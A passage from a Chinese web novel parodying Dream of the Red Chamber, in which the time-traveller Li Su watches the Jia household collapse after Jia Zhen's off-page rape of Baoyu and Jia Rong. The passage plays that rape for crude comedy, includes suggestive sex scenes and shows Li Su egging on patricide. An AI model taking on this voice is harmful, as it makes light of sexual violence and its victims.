紧接着外面响起了脚步声,一群人匆匆而来,头前儿是两个白须老者,还好请太医的人聪明,多叫了一个。 李素拉起迎春和探春的手:“让太医进去,里面还有谁在?” 被摸手的迎春俏脸通红,不敢抬头,也不敢回话。 探春道:“老爷,太太在里面。” 李素点点头,政老爷今天算是见着景了,辣手佛母今日也遭遇了双击,这就很好,师母如果听说了,想必十分开心。 “素……素大哥。” 迎春挣了一下手,没挣脱,忍不住叫了一声。 “迎春妹妹。” 李素松开了她和探春的小手,对一旁的小厮喝道:“那个谁,去搬几个秀墩来,没见到姑娘都站着的么?” 小厮忙着应了一声去了。 “素大哥,可知蓉哥儿媳妇去哪了么?怎么不见她人?” 探春不由得问道。 果然是个心思玲珑的姑娘,尤氏来的时候就没想到这事儿。 李素看了看同样疑问的迎春和惜春,说道:“她带着丫鬟在旁边休息呢,里面的事,同样不适合她看到。” 探春点头。 惜春忽然开口道:“素大哥,什么是贴烧饼?” “这……” 李素忽然愣住了,这怎么向三个未出阁的姑娘解释呢? 他想了想道:“贴烧饼就是用棍子打人,珍大哥打了宝兄弟,又打了蓉哥儿……嗯,是脱了裤子打的,所以你们不能看。” 惜春恍然,小脑袋点点。 迎春呆愣愣的道:“原来脱……那个打,叫贴烧饼。” 只有探春有些狐疑。 又过了大约半个时辰,三个姑娘不停地打着哈欠,天也蒙蒙快亮了。 只见门开了,只见两个太医一脸便秘的表情走了出来,随后贾政也跟了出来,忙不迭的向着太医行礼。 “家门不幸,万望两位,莫要声张了去。” “政老爷放心就是,我们懂的。” “两位先去,随后就有诊金奉上,此时……却。”贾政为难道,他出门没带银子。 “不用随后,就现在,两位拿着,不成敬意。” 李素从怀里摸出了两千两银票,递给了两个太医。两个太医眉开眼笑的接了,随后告辞而去。 “素哥儿?” 贾政这才发现,原来李素就在门外,而且还替他付账了,这让他很是尴尬。 “政二叔,是我,里面如何了?” “嗨!妙言啊,里面的事儿你……都知道了吧?” 贾政死死盯看着李素,很希望从他嘴里冒出一句:我不知道啊。 但是很遗憾,李素沉声道:“政二叔,我都知道了,尤其宝兄弟太惨了,那血冒的呲呲呲的,也不知道珍大哥是怎么想的,也不知道弄点儿羊油猪油什么的,还有……” “好了,好了!” 贾政忙止住他往下说,心里一阵腻歪,这跟油有什么关系,关键是不该啊。 同族的哥哥,弄弟弟算怎么回事儿?他自己的儿子可以随便,怎么能向宝玉下鸡呢? “妙言,府里不幸,这事儿你可千万不许往外声张啊?” “额?不能说?” 贾政重重的点头:“不能说!” 李素也点头:“好的,政二叔,我不会说的,但是有件事儿,我现在想和二叔商量一下。” “何事?你说。” “就是我想从府里搬出去了,府里事儿挺多的,我在这里除了给府里添麻烦之外,也帮不上什么忙,我觉得还是走的好。” “啊,不行,你不能走!” 贾政忍不住拉住了李素的袖子。 “政二叔,我不是不喜这国公府,精美瓦舍,亭台楼阁,说实话长这么大我没有见过这么精美的宅子,就是小侄扬州师父那里,也远远不及。”李素不说话。 贾政明白了,这话说的是府邸很好,人不行啊,名声臭了。 这怎么办? 不行,坚决不能让李素离开,元春的事儿、昨天一早送礼的事儿、还有今日这等腌臜事儿,都是不好说,不能传的,难不成真让这两国公府的名声臭掉么? 他当然不知道,已经臭了,除了李素的人在外面嚷嚷以外,夏守忠的人同样在添柴烧火,还有那跟贾府本来不对付的忠顺王府。 现在贾府贪财好物的名声已经传遍了神京,已经臭了。 “素哥儿,你这样等我处理完府里这糟烂事儿,再说好不好?”贾政现在急需弄明白,贾珍跟李素提亲的事儿,到底是个什么结果。 “那……好吧,唉!” 李素一脸无奈的表情,让贾政更是羞愧难当,他掩面就往屋里走,不好意思再看李素了。 “政二叔,可要我进去帮忙?” “不用,你快回去歇息!” 贾政甩了一句,咣当把门就关上了。 李素摇摇头,转头对三春说道:“三位妹妹也别在这里了,回去歇着吧,你们在这里也帮不上什么忙。” 探春知道李素说的有理,于是起身行礼,迎春和惜春也一起行礼,告辞而去。 贾政进了屋子顾不得跟跟抱着宝玉垂泪的贾母说话,而是走到贾珍面前开口问道:“珍侄儿这是醒了,我也不问你别的,你先告诉我,迎春和素哥儿的媒,你做的如何?” 刚被太医救过来,神魂不属的贾珍闻言,呐呐道:“没做成。” 贾母也被这话吸引了注意力,插话道:“难道他不同意?” 面色惨白的贾珍摇了摇头:“是宝兄弟不同意,差点儿掀了桌子!” “所以你就朝宝玉下了黑手?” 王夫人尖利的嗓音,直刺屋中众人的耳膜。 第93章 王夫人与贾珍互殴 “二婶子说的哪里话?” “那你说,你说啊!为何对宝玉下手!” 只见那王夫人双眼通红,头发散乱,面容扭曲得如同恶鬼一般,嘴里还不停地念叨着。 “你说啊?你说为什么?” “我?” 贾珍哑口无言,他能说自己吃了药后,看上了贾宝玉这个大美人么? 突然之间,王夫人像是发了狂一样,径直向着贾珍猛扑过去! 这突如其来的变故让贾珍完全没有防备,他压根儿就没想到平日里端庄娴淑的王夫人竟然会如此失态地对自己动手。 就在他惊愕之际,王夫人已经冲到了近前,伸出那双尖锐的指甲,狠狠地朝贾珍的脸上划去。 只听“唰”的一声轻响,贾珍的脸颊上瞬间多出了五条深深的血痕,鲜血顿时渗了出来,染红了他的半边脸庞。 然而,王夫人似乎并没有就此罢休的意思,她依旧不依不饶地继续挥舞着双手,如同一头失控的猛兽般,拼命地朝着贾珍身上抓挠而去。 而贾母和贾政、乃至尤氏都完全没有预料到,王夫人忽然就动手。 不多时,贾珍的脸上就被挠烂了。 “快,快拉开!” 贾母哆嗦着手,指着王夫人,嗓音都变形了。 贾政扑上去,死死的拽住了自己的老婆,尤氏此时好像也才反应过来,跑过去拉王夫人。 “你们别拉我,他,是他弄了宝玉啊~我的儿啊~” 但到底顶不过贾政和尤氏二人的体力,被从贾珍身上拉开,贾珍脱身后终于反应过来,自己视线都模糊了,鲜血从脸上不停地往下流。 只见贾珍满脸狰狞,眼中闪烁着凶恶的光芒,仿佛被一股无法遏制的怒火所吞噬。他突然猛地站起身来,如同一只发狂的野兽一般,飞起一脚狠狠地踹向了王夫人。 说时迟那时快,这一脚犹如闪电般迅速而又凌厉,让人根本来不及反应。然而,令人意想不到的是,这一脚竟然不偏不倚地踹在了王夫人的胸部之上! 刹那间,只听得“砰”的一声闷响传来,贾政和尤氏也如滚地葫芦一般,被带倒在地。 紧接着便是王夫人那撕心裂肺的惨叫声响彻整个房间。 她的身体如遭雷击般剧烈颤抖着,随后便软绵绵地向后倒去,双眼紧闭,已然晕厥了过去。 贾珍这才反应过来,自己又闯祸了,弄了宝玉,就踹了他娘。 随后他两眼一翻,向后就倒! 在门缝里往里偷瞧的李素也是目瞪口呆,竟然就这么打起来了,这可真不赖他,他连门儿都没进。 而一直发呆的贾蓉,见贾珍如此惨状,又晕了过去,目光闪了闪没动又装起了痴呆。 “老爷啊,老爷,你怎么了?快醒醒啊……” 尤氏摇晃着贾珍,哭啼起来。 “别嚎了,他没事!” 贾母见乱成这样子,也顾不得宝玉了,拿出了她的决断:“政儿,先把宝玉和你媳妇带回去,素哥儿那里你……” “老太君叫我?” 在李素不该进来的时候,他推门进来了。 “宝兄弟好些了么?” 贾母被噎的差点儿翻白眼儿,心说自己现在最不想看到的就是你了,强起了一个笑脸道:“……素哥儿啊,我正想着你呢,得麻烦你安排一下,把宝玉和他娘送回西府。” “老太君,这说的什么外道话,麻烦不麻烦的,交给我了,刚才太医可是说了,宝兄弟这种被……珍……额…可是要轻拿轻放的。” 这话听得贾母心直往下沉,这事都清楚了,怪不得政儿如此关心做媒的事儿,现在媒还没坐下来,但已经很难做了。 只能先走一步看一步了,想到这里贾母继续道:“如此甚好,素哥安排吧!” 李素出了门,大喊了一声:“林之孝,带着你家里的还有一众丫鬟小厮,套好马车,把老太君、老爷太太还有宝兄弟都运回去。” 林之孝赶忙跑过来,点头哈腰道。 “是,素大爷,小的们一直在等着呢。” “动手吧。” 一众丫鬟婆子呼啦就涌入了房,看着乱糟糟的样子,李素笑眯眯的摇了摇头,回了自己的房间。 把房门一插,上榻就抱着秦可卿和宝珠,补起了懒觉。 这一晚上可把他累坏了,常年枯坐。最近白皇后和琏二嫂子经常在他脑子里走马灯,弄的他这个洁身自好之人难受之极,如今一朝吃撑,连续三打两血心满意足。 日上三竿,李素醒了过来,看着缩在自己怀里艳若三春的秦可 卿食指大动,在她耳边轻语道:“表姐,该更衣了。” 秦可卿身子一抖,不多时她忍不住呼了一声:“老爷啊~” 接着李素便发现了,她真的就是个小废物。 没鼓捣几下,就如酥如泥了。 李素惊叹,假如用量词来形容自己遇到的女子,黛玉应该叫一阙黛玉,雪雁叫一只雪雁,白皇后是一桃皇后,秦可卿就应该是一水儿可卿。 “宝珠,到你了!” “老爷啊~” 这一嗓子,不愧是有什么主人,就有什么丫鬟,原著里宝珠在秦可卿死后,自为秦可卿的义女,守在了铁栏寺。 忠仆义女,难道是把自己当成秦可卿的影子了么? 终于在秦可卿重整旗鼓后,素大爷飞上了天,带着秦姑娘一起遨游了极乐世界。 啪!啪!啪! 别误会,是敲门声。 秦可卿和宝珠被吓的一激灵,强挺着打起精神更衣,轻声呼道:“老爷啊~奴家小衣去哪里了?” 啪!啪!啪! 敲门声继续。 她们更紧张了,宝珠十分利索,三两下身上已经不见隐私了。 李素不出声,给秦可卿指了指下面,秦可卿大喜拿了起来就往身上套,套了一半,发现不对了,上面竟然不知何时惹了红。 李素凑过去低声道:“是你的。” 秦可卿恍然,脸上发烫起来,一时间竟然忘了紧张。 啪!啪!啪! 敲门声又响了起来。 李素更完了衣裳随后开口就骂:“哪个球囊的,不让老爷睡觉,打扰老爷我睡觉,找死呐?” 外面一个声音传了进来:“葫芦姐姐。” 李素乐了,这是自己给尤氏的暗号。 “我是葫芦兄弟,你等着。” 第94章 野猪进了菜园子 李素打开屋门,一把拽进了葫芦姐姐,随后把门又关了起来。 “你怎么来了?” “老爷歇了过去,蓉儿也歇了过去,另外琏哥儿媳妇来请你回去,我便过来说一声。” 李素转念一想就明白了,这是担心自己不走了,琏二哥怎么也要躺上半个月,于是二嫂子就被派了来。 贾母的信使! “你就去跟琏二嫂子说,我宿醉未醒,另外把侄媳妇她们带回去。” “啊?” 秦可卿面色变的煞白,她可知道,今晚自己干了什么事儿,怎么敢自己单独面对贾蓉?虽说没有圆房,但名义上还是她的天。 李素见状,把她搂在了怀里:“你莫怕,有宝珠在,何况我不出宁国府,放心好了。” “奴家就是担心,不知道那两个疯子会干出何事。” 秦可卿忧心忡忡。 “还有葫芦姐姐呢,算了,葫芦……不,大嫂子,你带我绕开琏二嫂子,去见见蓉哥儿。”李素见不得秦可卿的可怜状,心软了。 “好,现在就跟我走,蓉哥儿媳妇你们现在去天香楼上吧。” 秦可卿点头同意。 于是四人分道扬镳,秦可卿和宝珠去了天香楼,李素跟尤氏去见贾蓉,前方葫芦摇曳让他的心就不自觉开始荡漾了起来。 他四处张望了半天,也没见个好机会,仆役太多了,而且还诡异的四处张望。 李素心说辣块妈妈的,这是烧饼门事件已经传遍了东府了? 他此时还不知,被他扔到房顶的寿儿,昨夜就已经把烧饼门传遍了西府,从东西两府漏勺一样的仆役口中,向着神京四面八方传去。 太极宫,西暖阁。 雍和帝上完朝回来刚坐下,就见夏守忠欲言又止。 “狗奴才,有话就说!” 夏守忠一脸的便秘模样,又忍着笑回道:“陛下,密谍司传来消息,昨日……额…自从花园子爵进了贾府就如那野猪进了菜地里,贾府实在是热闹。” “喔?说来听听。” 雍和帝听到这话,也不困了,心说这李素是领会了朕意。 “先是贾政打了他们家那个戴玉的公子,连他的夫人一起也挨了板子。” 雍和帝一愣:“贾政?泥胎般愚人怎么会下手的?” “他家公子拿出了自己的玉,问花园子爵有没有玉,花园子爵说自然有,随后他拿出了一串儿玉,说……额…说是生下来是戴在脖子上的…哎呦,老奴真是忍不住了……库库库。” 夏守忠抱着肚子,不由得躬着身子笑起来,都抖成疙瘩了。 雍和帝也不由得笑了起来,笑骂道:“没个正经。”随后又冷哼一声:“衔玉而生,不知所谓!” 夏守忠见雍和帝收了表情,忙止住了自己的笑,接着说道:“随后,贾府就计划把贾赦的庶女嫁给李花园,但是李花园不知怎么搞得,贾赦竟然私下里要把女儿送给他做妾了。” “哼,庶女也配?就这事儿?” “陛下,晚上的时候,宁国府的贾珍请李花园饮宴,宴后也不知发生了什么,贾珍他竟然……竟然。” 说到这里夏守忠不由得嘬起了牙花子。 雍和帝目光看过来,夏守忠赶紧说道:“贾珍竟然就把贾宝玉和自己的儿子贾蓉给……办了!” 向来波澜难惊的雍和帝听到这里,不由的僵住了,眨了一下眼睛,反应过来自己没听错。 大笑了一声,骂道:“一窝子王八蛋!” 夏守忠忙凑趣道:“这事儿,奴才已经着人帮着扬名了。” 雍和帝笑着缓缓点头:“办的好。” 贾府越臭,朋党就会越少,原来依附的那些人就会逐渐离心,四王八公属贾家军权遗泽最盛,依附者少一人都是好的。 此事李素办的好! “陛下。”夏守忠欲言又止。 “还有什么话?你这狗才,今日里这是怎么了?吞吞吐吐的?” 夏守忠支吾道:“奴才是想,能不能不要给李花园发放凤藻宫的腰牌了,他……这破坏力,太强大了。” 雍和帝拿起手中的奏折,砸了过去。 “滚下去!你这狗才拿朕的后宫当贾府那烂泥坑了?你是猪脑子?贾府如果不是臭鸡蛋,李素进去也吃不到苍蝇饭!” “奴才有罪,奴才这就滚!” 夏守忠吓得赶紧帮雍和帝把奏折捡起来,放好后,跑出了西暖阁。 出来之后,夏守忠恢复了自己四平八稳的步伐,边走边琢磨,这李素怎么看都觉得有些奇怪,但说不上来 哪里怪。 李素此时看着床榻上的贾蓉也有些怪,他心中不由得摇头,好好的花样美男,一夜被摧残的不成样子了。 目光呆滞,面如死灰。 “蓉侄儿,节哀!” 贾蓉听到这话,猛的回过神来,坐起了身子双目中爆出了异样的神采,死死盯着李素道:“素大叔,你是说……老爷?” “珍大哥没事儿。” 贾蓉心里骂道,没事儿你节什么哀,他又躺了下去,双目继续呆滞起来。 李素心中冷笑,这家伙果然有了弑父之心。 “蓉哥儿,我和你相识虽短,但自觉与你十分投缘,也就是辈分的问题,不然咱们却是真的能做个兄弟,可以托妻献子的兄弟。” 贾蓉闻言,不由得有些动容。 李素接着说道:“所以我要为兄弟考虑,兄弟要听我一言,我看珍大哥啊,可能以后就离不开汤药了,兄弟作为儿子,应该摒弃前事,膝前尽孝才是啊。” 贾蓉心中愤恨,自己被他……还要尽孝? “哥哥我言尽于此,这就先回了,晚一些再来看你,这一晚上折腾的,我也没睡好。” 说完,李素打了个哈欠就往外走。 “母亲留步!” 贾蓉见尤氏也往外走,不由得开声了。 尤氏和李素对视了一眼,李素先出了门,留下贾蓉和尤氏说话。 “母亲,我那媳妇呢?昨夜怎样?” 尤氏哀叹一声:“被吓到了,昨夜老爷逼着你媳妇吃酒,你媳妇就吓得跑了,后来不知怎么好似老爷跌了一跤,没追上。” “她和宝珠躲了一晚上,这才去歇着。” 贾蓉点点头:“母亲,还有一事,昨晚好像有人打了我一下子,等我醒来就……就…昨夜可有人异常?” “异常?” 尤氏摇了摇头,忽然她想起来,昨夜好似有人大嚷大老爷的糗事。 于是就对贾蓉说了。 贾蓉恨恨道:“定然是他!” 尤氏劝道:“那等你好些了,把这人找出来就是,此时你应该好好歇着,将养身子。” 贾蓉摇头:“不,素大叔说的对,我要尽孝!” 第95章 再给贾珍凿一扇门 李素给贾蓉开了一扇窗,随后就想着再给贾珍凿一扇门,可是出门后就迷路了。 其实他也不知道贾珍到底在哪里,快走两步拉住了一个仆役。 “认识我吗?” “见过素大爷!” “真识得我?” “昨日赖管家迎大爷来府里,小的在一旁伺候的,不知素大爷有何吩咐?” “珍大哥在何处?” “大爷请跟小的来。” 随后就引领着李素朝着北走去。他们一路前行,不多时便来到了距离天香楼东侧不远处的一座院子前。 院子看上去有些陈旧,但丝毫不失华丽,院门被轻轻推开,映入眼帘的场景让李素不禁一愣。 只见院子中央,稀稀拉拉地站立着几个丫鬟和小厮。他们一个个低垂着头,身体微微颤抖着,脸上流露出惶恐不安的神情,仿佛遭受了极大的惊吓一般。其中更有几人的面容显得异常狼狈,鼻青脸肿。 整个院子弥漫着一种压抑而紧张的氛围,这些下人连大气都不敢出一口。 “珍大哥啊,我的珍大哥……” 李素进院儿就嚎了起来,随后就往屋子里跑去,院儿里的丫鬟小厮面面相觑,不认识李素的人,更搞不清楚这是哪里来了个哭丧的。 老爷没死啊! 屋里的贾珍听到这话,脸上被绑的严严实实的白布,又开始往外渗血,挣扎着就想起身:“我……” 但一句话没说出口,只觉得身子又被摁了下去:“珍大哥?你……没事儿?我是李素啊,你能听出来么?” “……额…素兄弟…你别拍,疼!” 只见贾珍的整个脑袋都被白布裹了起来,就是剩下两个鼻孔和半个嘴巴露着,看起来就像个木乃伊。 老娘们儿下手可够黑的! “珍大哥,我听蓉哥儿说……额,不是,我是听政二婶……嗨,珍大哥没事儿就好,真是太好了。” 贾珍摸索着一把抓住了李素的胳膊。 “树……素兄弟,蓉哥儿那个球囊的说什么了?” “也……也…没说什么,珍大哥……就别问了,家和万事兴啊,珍大哥。”李素拍着贾珍的胳膊,本来想拍手来着,一想到这手可能摸过烧饼,他不由得打了哆嗦,恶心万分。 家和万事兴? 贾珍心里就嘀咕上了,不行,他不敢想下去了。 不由得攥紧了李素的胳膊,急声道:“素兄弟,哥哥我求你了,你告诉我蓉哥儿到底说了什么?” “哈……哈哈,其实也没什么珍大哥,我走了,你好好养身子。” 贾珍明白了,定是蓉哥儿那个球囊的说了自己的歪话,厚道的素兄弟怕影响到我们父子关系,不能开口了。 “好,素兄弟,那你能告诉我政二婶到底说了什么吗?” 贾珍等了一会儿,李素也没理他,他不由得向四处摸去,但是摸了个空。 “素兄弟!” “素兄弟?” “素兄弟,你还在吗?素兄弟?” 贾珍像个复读机一样,在炕上喊着,喊了一会儿,心中明白大概是走了。 真是厚道人,避免落得个挑拨的嫌隙! “来人!” “老爷!” “你是寿儿?” “是我,老爷。” 贾珍叹了口气:“唉,还就你是老爷的贴心人了,外面都有什么传言,跟老爷我说说。” “回老爷…呜呜…”寿儿竟然抽泣起来。 “宝贝别哭,你说。” 贾珍伸手抚摸着寿儿的手。 “呜呜呜……就是小蓉大爷那边传出来,说老爷不行了,人也快不行了,下人们再传开后,就有人说老爷折在了小蓉大爷那儿了,也有人说断在了宝二爷那儿。” “这个逆子,孽障!” 贾珍脸上又开始渗血了。 寿儿伸出手指,轻轻的蘸了一点儿贾珍的面上,白布渗出来的血,含在嘴里尝了尝,眼睛里放出了兴奋的光芒。 贾珍胸口起伏不定,喘息了半天,继续摸索着寿儿的手道:“宝贝,继续说,还有么?” “还有,还有就是西府里王夫人,说老爷是个不祥的人,被老鼠咬了根儿,快死了……呜呜呜,她竟然这样咒老爷……” “泼妇!毒妇……我与你势不两立……” 贾珍气的身子继续抖动,脸上鲜血再出,随后身子软了下去。 “老爷……老爷,老爷!” 寿儿晃了晃贾珍,随后又听了听他的心跳,心下明了这是晕过去了。 于是他俯下身子,允起了贾珍白布外渗出的鲜血来了,不一会儿再也没有鲜血渗出,寿儿擦了擦嘴。 哭嚎了一声就往外奔。 “老爷死哩!快来人啊……快来人啊……” 不明内情的人,也跟着喊了起来,四处奔走,一时间哭声震天,好不热闹。 荣国府此时也好不热闹。 两个谣言。 一是政老爷家的探春姑娘许给了李素。 二是王夫人让贾珍给踩了奶,据说把珍老爷给滑倒了,摔了个满脸花。 三是宝二爷被贴烧饼,贴出了个大窟窿,据说成了“粪瘘”,裆里得带着个屎兜子才能出门了。 大家一想起来,美貌的宝二爷带屎兜子出门,那感觉简直让人惊悚,这谣言竟然很快盖过了探春的事儿。 有人说宝二爷的坑,有碗口那么大,还有人说像盆。 有人反驳道珍大爷不可能有那么大的针。 更有人反驳,还有蓉大爷一起下针了。 但贾府的当家人自然不像下人那般不靠谱,他们也没有听说宝玉的谣言,更没听到王夫人的传谣,没人敢跟他们说这个话。 所以他们得到的信儿,就是探春嫁给李素的谣言,甚至听到了什么跟李素睡了的屁话,但是这话不管真假,只要传了,人的名声就有了瑕疵。 贾母召集了贾政和贾赦二人,就母子三人在屋子里,贾母经过这一夜的折腾,面色十分憔悴,强打着精神问话。 “你们说,现如今应该怎么办?” 贾政一脸愁容,而贾赦却不时地嘴角抽一下,也不知他是什么毛病。 他是高兴的,二房倒霉,他怎么能不开心? 王夫人又让贾珍用脚踹了奶,宝二丫头失了臀,随后探春的事儿传了出来,这样的丈母娘、小舅子,李素能愿意? 最多跟迎春一样,送给李素做妾吧,而且不像老子还得了那好处。 想到这里,贾赦不自觉的扭了扭屁股,嘴角又抽了抽。 如果李素看到,定然惊悚赵四附身贾赦。 乡村爱情串了红楼。 第96章 定了,探春做妾! 只要同行比自己还倒霉,自己的倒霉就不算什么。 只要同行比自己惨,自己立马就不惨了。 更何况贾赦根本就没觉得自己惨,一个丫头而已,换取了每年十余万两的利银的通道,赚钱谁能比的上他贾将军? 说起来贾赦和贾政这兄弟俩,在很多方面都是相反的。 比如贾赦贪财,贾政羞于谈财,再比如贾政好脸面,贾赦不要脸,再比如贾政好色偷偷摸摸,贾赦好色明目张胆。 所以面对同一件事的时候,两个人的反应经常是不同的。 贾母看着自己的好大儿,今天的模样有些奇怪,搞不清楚他到底吃了什么药,见贾政不言,就直接开口问他。 “老大,你说。” “咳!”贾政清了清嗓子,随后觉得坐着说好像不过瘾,干脆站了起来。 “母亲,二弟,我以为现在我们先要明白几个事儿,第一,元春丫头要不要弄回府里?第二点,咱们贪财的名声要不要封李素的口?第三,昨夜的事儿要不要封李素的口?” 贾赦说一个,贾母和贾政二人便点一次头,最后异口同声道:“要!” 听到他们的答案贾赦笑了笑,母亲沉浸在府里一手遮天的假象里,二弟不通人心世故,说是书呆子都是夸他,就是个呆子! 恐怕后面两档子事儿,早就传出去了,昨夜有人大喊贾珍和宝玉的腌臜事儿,这明显就是要给府里扬名的。 听到两人的回答,贾赦定住脚步:“好,既然三件事儿都要,咱们就先论一论婚。” “现如今不要说迎春做媒给李素了,给他做妾都难了啊,咱家的这乌七八糟的事儿,他可都见到了,他可还是要下场科考的,名声对他而言太重要了。” “所以他宁愿在东府那脏水里,今日也不愿回西府,这是为什么,母亲和二弟清楚了吧。” “躲婚?” 贾政抬头问道。 “然也!昨夜珍侄儿已经跟李素提了亲,让宝玉搅局了,但已经打草惊蛇了啊。” 贾母跟贾政二人点头。 “这说明什么?说明迎春的婚事已经黄了啊!” 贾母跟贾政二人再次点头。 见他们二人的模样,贾赦就像六月天喝了冰镇啤酒一般爽快,这母亲和二弟何时拿正眼瞧过他,今日合该我贾将军扬眉吐气了。 “既然黄了,李素又不缺银子,跟咱们又没有多大的情分,想要办那么多事儿,咱们的筹码可就不够了。” “得加码!”贾政认可好大哥的话。 “对。” “老大,你直接说怎么办,别废话了,你娘都听得懂!” 贾母有些不耐烦了,她还挂念着她的宝玉呢。 贾赦面色一冷,朝着贾母拱手道:“母亲,既然二弟让人造谣了探春丫头,那就干脆随了二弟的意思,把探春给了李素做妾吧!” “大哥你说什么?”贾政豁然起身! “我说探春给李素做妾啊!” “不是,我是说你前面那句。” “喔,那就干脆随了二弟的意思。” “不是这句,再前面一句!” “二弟让人造谣了探春丫头啊,二弟啊,不是我说你,你既然想让探春嫁给素哥儿,早跟我说啊,我也不会拦着你,迎春不缺嫁的。” 贾赦摇头晃脑道。 “大哥,我没有让人造谣,那传言不是我做的。” “不是你那赵姨娘弄的吗?送银子造谣吗?” “是她?我这就去打死她!” 贾政气的面色涨红,说着就要往外走。 “站住!”贾母一顿拐杖,叫住了他。 “母亲!” 贾政站住脚步,红着眼睛向贾母行礼。 “你管教自己女人的事儿,回头你自己去处理,现在说的府里的大事儿,刚才你大哥有句话说的对,就是把探春丫头给李素做妾吧,此事要快!” “是。” 贾政只好答应下来。 贾母心下叹息,把李素摁在贾府上的计划失败了,截击贾敏的计划也失败了。 其实现在还有一个选择,就是把元春直接嫁给李素,但是贾母心里是不甘心的。 元春本来是计划成为皇妃的,现在虽然没了可能,但怎么也得是王妃或是公侯之家才行。 贾母接着开言道:“老大,你平时从不关心府里的事儿,今儿怎么知道的那么清楚,你想做什么?” 贾赦闻言,先行了个礼,红着眼睛高声道:“儿子能做什么?儿子天天在侧院里混吃等死,能做 什么?” 贾母面色阴沉,不说话,看着他。 贾赦见老娘没什么表示,就知道他这委屈,根本就不入老娘的眼,于是继续说道:“这事儿,本来我也不知道,但是那赵姨娘的丫鬟彩霞,给人塞银子塞到了我的丫鬟秋桐手里,这倒没什么,而环哥儿竟然把银子给要了回去,哈哈哈……哈。” 贾赦忽然就笑了,随后笑的眼泪都流了下来,身子扭了扭哆嗦着继续说道:“秋桐就找我告状了,我就知道了……哎呦,哈哈哈。” 贾政目瞪口呆,这算什么? 而贾母闻言,松了一口气,老大还是那个老大,这就很好。 随后又骂了一句:“你们去吧,赶紧把事办了,败事有余成事不足的东西。” 兄弟二人辞别母亲后,出了屋门,二人对视了一眼刚要走,就听外面有人边喊边往这边跑。 “东府老爷不行了!” “东府的珍老爷坏了!” 一个跌跌撞撞的小厮很快跑了过来,看见贾赦贾政二人在,立马跪了下来:“大老爷,老爷。” 只见贾赦满脸怒容,飞起一脚狠狠地踹向小厮,小厮被踹倒在地后,发出一声惨叫。 但他不敢有丝毫耽搁,迅速从地上爬起,又赶忙重新跪倒在地,身体还因为恐惧而微微颤抖着。 “奴几辈的狗东西!你刚才瞎嚷嚷些什么?谁告诉你珍侄儿不行了?“ 贾赦瞪大双眼,怒气冲冲地质问道。 小厮战战兢兢地抬起头,看着眼前暴怒的贾赦,结结巴巴地回答道:“回……回大老爷话……小的……小的也是听别人说的…东府的下人都嚷嚷开了…“ 贾赦跟贾政闻言,如遭雷亟,瞬间僵住了身子。 贾珍难道真的就这么去了? “政儿,你亲自去看看吧,老大,你在府里做好准备,一应丧葬事宜跟凤哥儿商议来,再报于我。” 贾母不知道什么时候,出现在了他们身后,说完这句话后,她身子一晃就往下倒去。 “母亲!” “母亲!” 第97章 贾珍诈尸 贾珍死了? 正往天香楼去安慰一水儿可卿的李素,听到慌乱的喊声哭嚎声,停住了脚步。 这怎么可能? 刚才不还好好的? 被气死了? 不至于,贾珍是个下线极低的同志,不可能被气死。 除非是贾蓉下手了,但也不可能这么快吧?去看看!于是半道上李素又折了弯儿,往回走。 刚到了贾珍院子门口,就见贾蓉来了,被两个小厮架着胳膊,一步一扭的朝着贾珍的院子走来。 那姿势,怎么说呢,就好比是屁股上沾了坨屎,又憋尿的走法。 两脚外撇,左脚向前迈步,屁股跟着一块儿扭,然后左脚落地右脚抬屁股跟着扭,好像拐了弯的大圆规。 头上还缠了块儿白布,咧开嘴边嚎边喊:“老爷啊…我的老爷啊,你怎么就去了啊,丢下儿子不管了啊…” 李素细看,眼圈儿挺红的,就是没水。 他紧走两步拦在了贾蓉面前,大吼一声。 “呔!蓉哥儿哭什么丧?珍大哥死了吗?” 贾蓉被吓了一跳,忙扯了扯架着他的小厮,抬头见是李素,嘴角的笑容咧到了一半,忽的一顿又撇了开来:“呜呜……素大叔啊,老爷他去了啊…” 李素被这话真的惊到了,这就死了,也太突然了。 “那赶紧吧,走,去看看。” 于是贾蓉哭嚎着进了院子,李素在后面跟着,这事儿不用抢到前面,走了没几步就感觉身后,有人扯自己的衣服。 回头一看是个生面孔的丫鬟,李素还未开口,只见丫鬟微微行礼,轻声说道:“葫芦姐姐。” “等着。” 李素估摸着尤氏有点儿慌了。 屋子里的贾珍这时候,终于慢悠悠的醒了过来,脑子里还想着那泼妇,就听外面嗡嗡的哭丧声。 心说这是谁死了? 正疑惑间,就听到了儿子贾蓉的哭嚎。 “老爷啊…我的老爷啊,你怎么就去了啊,丢下儿子不管了啊…儿子没有你可怎么活啊…老爷啊…” 不对,哭我? 我死了吗?我没死吧? 眼睛被蒙的死死的贾珍,一时间陷入了自我怀疑。 想到这里,贾珍他颤抖着伸出右手,用尽全身力气狠狠地掐了一把自己的大腿。 那一瞬间,一阵钻心的疼痛袭来,仿佛千万根钢针同时扎进了肉里。 “啊——” 贾珍忍不住发出一声凄厉的惨叫,声音响彻整个房间。 伴随着惨叫声,他猛地一下子坐了起来,大口喘着粗气。 自己还活着! 那蓉哥儿这是作甚? 而在炕前,里间外间跪着哭喊的小厮丫鬟,被贾珍这一嗓子吓晕过去好几个,还有几个哭爹喊娘一般就往外跑。 “老爷诈尸了!” “快去请道长!” “快快快,拿黑狗血,童子尿!” 整个场面顿时兵荒马乱了起来,屋里的贾蓉顿时吓得一屁股坐倒在地,顾不得昨夜被扎的疼痛转身就往外爬。 边爬边哭喊道:“老爷啊,冤有头债有主,万万别找儿子啊,儿子没弄你,是你弄了我啊……老爷…” 内心恐惧到极点的贾蓉,再也控制不住自己括约肌,下身第一次不用自己使劲儿,便尿了个通透。 裤子湿透了,地上也被尿湿了一大片,也不知道是谁给他喝了那么多水。 有那伶俐的,已经意识到家主要换人了,边喊边跑:“快救蓉大爷!” 胆子大的已经扑了上去,忍着骚味儿,去搀贾蓉了。 贾蓉很快被拉出了屋子,瘫坐在地上,眼泪鼻涕往外流,原本还算白净的脸庞已经花了。 这次是真的,他快要被吓死了! 他就那么直挺挺地瘫坐着,仿佛全身的骨头都在这一刻散架了似的。浑身颤抖不止,连嘴唇都变得苍白,口中更是喃喃自语着一些旁人难以听清的话语。 当消息传到外面,还有人争论:“诈尸,不是僵尸,得用黑驴蹄子,大蒜。” “不对,那也是治僵尸的。” 贾珍诈尸这消息,与音速同快,往外传。 屋里的贾珍被外面的声音着实跟惊到了,尤其蓉哥儿这球囊的竟然把老子弄他是事儿给喊了出来,这个孽障种子。 说不得老子的死讯就是这逆子弄的。 一时间,贾珍再次血往上涌,急火攻心,又是一阵眩晕让他剧烈喘着粗气,说不出话来。 几次出血,已经让他有些贫血了! 